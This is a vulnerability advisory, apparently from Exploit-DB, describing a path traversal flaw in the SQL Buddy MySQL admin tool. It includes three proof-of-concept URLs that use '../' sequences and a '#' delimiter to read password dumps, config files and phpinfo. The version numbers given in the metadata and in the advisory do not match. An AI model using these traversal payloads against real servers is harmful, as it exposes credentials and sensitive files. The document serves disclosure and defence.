Path traversal vulnerability

vendor:

SQL Buddy

by:

John Page (hyp3rlinx)

7.5

CVSS

HIGH

Path traversal

CWE

Product Name: SQL Buddy

Affected Version From: 1.3.2003

Affected Version To: 1.3.2003

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2015

Path traversal vulnerability

SQL Buddy is an open source web based MySQL administration application which suffers from directory traversal whereby a user can move about directories an read any PHP and non PHP files by appending the '#' hash character when requesting files via URLs. After adding the '#' character as a delimiter any non PHP will be returned and rendered by subverting the .php concatenation used by sqlbuddy when requesting PHP pages via POST method.

Mitigation:

N/A

Source

Exploit-DB raw data:

# Exploit Title: Path traversal vulnerability
# Google Dork: intitle:path traversal
# Date: 05-08-2015
# Exploit Author:  John Page (hyp3rlinx)
# Website: hyp3rlinx.altervista.org/
# Vendor Homepage: http://www.sqlbuddy.com
# Software Link: http://www.sqlbuddy.com
# Version: 1.3.3
# Tested on: windows 7
# Category: webapps

Source:
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http://hyp3rlinx.altervista.org/advisories/AS-SQLBUDDY0508.txt


Product:
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SQL Buddy is an open source web based MySQL administration application.


Advisory Information:
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sqlbuddy suffers from directory traversal whereby a user can move about
directories an read any PHP and non PHP files by appending
the '#' hash character when requesting files via URLs.

e.g. .doc, .txt, .xml, .conf, .sql etc...

After adding the '#' character as a delimiter any non PHP will be returned
and rendered by subverting the .php concatenation used
by sqlbuddy when requesting PHP pages via POST method.

Normal sqlbuddy request:
http://localhost/sqlbuddy/home.php?ajaxRequest=666&requestKey=<xxxxxxxxxx>


POC exploit payloads:
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1-Read from Apache restricted directory under htdocs:
  http://localhost/sqlbuddy/#page=../../../restricted/user_pwd.sql#

2-Read any arbitrary files that do not have .PHP extensions:
  http://localhost/sqlbuddy/#page=../../../directory/sensitive-file.conf#

3-Read phpinfo (no need for '#' as phpinfo is a PHP file):
  http://localhost/sectest/sqlbuddy/sqlbuddy/#page=../../../../xampp/phpinfo



Severity Level:
===============
High


Request Method(s):
                                [+] POST

Vulnerable Product:
                                [+] sqlbuddy 1.3.3

Vulnerable Parameter(s):
                                [+] #page=somefile

Affected Area(s):
                                [+] Server directories & sensitive files


Solution - Fix & Patch:
=======================
N/A



Disclaimer & Information:
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warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.

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